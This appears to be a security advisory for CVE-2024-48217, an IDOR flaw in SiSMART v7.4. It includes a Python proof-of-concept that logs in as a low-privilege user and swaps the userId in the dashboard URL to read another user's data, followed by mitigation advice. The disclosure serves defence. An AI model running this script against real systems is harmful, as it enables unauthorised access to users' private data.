A newly discovered vulnerability, CVE-2024-48217, in SiSMART v7.4. features an Insecure Direct Object Reference (IDOR) that allows attackers to execute a horizontal privilege escalation. SiSMART is a popular software solution used across various platforms, making this vulnerability a significant security risk.

An Insecure Direct Object Reference (IDOR) is a type of security vulnerability where an application provides direct access to objects based on user-supplied input. This flaw enables attackers to bypass authorization controls and access unauthorized resources or information. In the case of SiSMART v7.4., this particular IDOR vulnerability allows attackers to escalate their privileges and gain unauthorized access to the user dashboard.

Details of Vulnerability

Exploiting the IDOR vulnerability in SiSMART v7.4. begins with an attacker compromising a low-privilege user account. Once the attacker has gained access, they can manipulate the dashboard to gain unauthorized access to higher-privileged user accounts.

The following code snippet demonstrates how this vulnerability could be exploited, allowing the attacker to escalate their privileges:

import requests

# Replace these variables with the target URL, username, and password
target_url = 'https://example.com/login';
username = 'attacker'
password = 'password'

# Login to the target using the attacker's account
session = requests.session()
response = session.post(target_url, data={'username': username, 'password': password})
dashboard_url = response.url.replace(' ', '')

# IDOR vulnerability exploit by changing the user id in the URL
victim_userid = 1001
idor_exploit_url = dashboard_url.replace('userId=1', f'userId={victim_userid}')
response = session.get(idor_exploit_url)

# Check the response
if response.status_code == 200:
    print("Exploit Success:", idor_exploit_url)
    print("Target User ID:", victim_userid)
    print("Response Content (Raw):", response.text)

else:
    print("Exploit Failed, Status Code:", response.status_code)

Exploit Details

Upon successful execution, the attacker gains unauthorized access to the target-user's dashboard. With this access, the attacker can view and manipulate the target-user's data, posing a severe security threat. Businesses using SiSMART v7.4. should immediately address this vulnerability to protect their users' data and maintain secure operations.

Update to the latest version of SiSMART, which contains a patch for this vulnerability.

2. Implement proper access controls to verify that resources accessed by users are within their authorized domains.
3. Deploy regular security audits and continuous monitoring to identify vulnerabilities and address them proactively.
4. Encourage users to follow security best practices, such as using strong and unique passwords and being mindful of potential phishing attacks.

Conclusion

Insecure Direct Object Reference (IDOR) vulnerabilities, such as CVE-2024-48217, pose severe risks to applications and their users. Swift action to address these vulnerabilities, using mitigation strategies and software updates, is of paramount importance. An organization's commitment to proactively addressing security flaws like this will ensure the ongoing protection of their users and their business.
